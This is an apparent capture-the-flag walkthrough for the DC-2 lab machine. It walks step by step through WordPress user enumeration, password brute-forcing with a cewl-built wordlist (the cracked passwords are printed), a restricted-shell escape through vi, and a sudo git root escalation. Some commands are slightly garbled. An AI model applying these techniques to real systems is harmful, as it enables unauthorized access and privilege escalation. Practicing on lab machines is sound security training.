DC 2

`gedit etc/hosts`

http://dc-2

Flag 1:

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

`wpscan --url` `http://dc-2` `-e u` we get

> 🔒 admin
> jerry
> tom

`cewl` `http://dc-2` `> /home/pinisher/Testing/Dc-2/passwords.txt`

`wpscan --url` `http://dc-2` `-U 'location/users.txt' -P 'location/passwords.txt'`

[!] Valid Combinations Found:
| Username: jerry, Password:
adipiscing
| Username: tom, Password:
parturient

`nikto` `http://dc-2` >> wp-login.php

simple login to tom >>

Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

```
nmap  -p -sV ip
```

```
ssh tom@ip -p 7744
```

```
ls /usr/bin
```

```
vi >> set shell:/bin/bash >>:shell
```

```
echo $PATH
```

```
export PATH=$PATH:/home/tom/usr/bin:/bin:/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin
```

```
cd /usr/local >>ls
```

Flag 3:

```
tom@DC-2:~$ echo $(<flag3.txt)
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
```

```
cd /etc/passwd
```

```
tom:x:1001:1001:Tom Cat,,,:/home/tom:/bin/rbash
jerry:x:1002:1002:Jerry Mouse,,,:/home/jerry:/bin/bash
```

```
su jerry >>password
```

Flag 4:

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. :-)

Go on - git outta here!!!!

`sudo git branch --help config` >>https://gtfobins.github.io/gtfobins/git/#sudo

`!/bin/sh`

`cd root`

Final-Flag:

Congratulatons!!!

A special thanks to all those who sent me tweets and provided me with feedback - it's all greatly appreciated.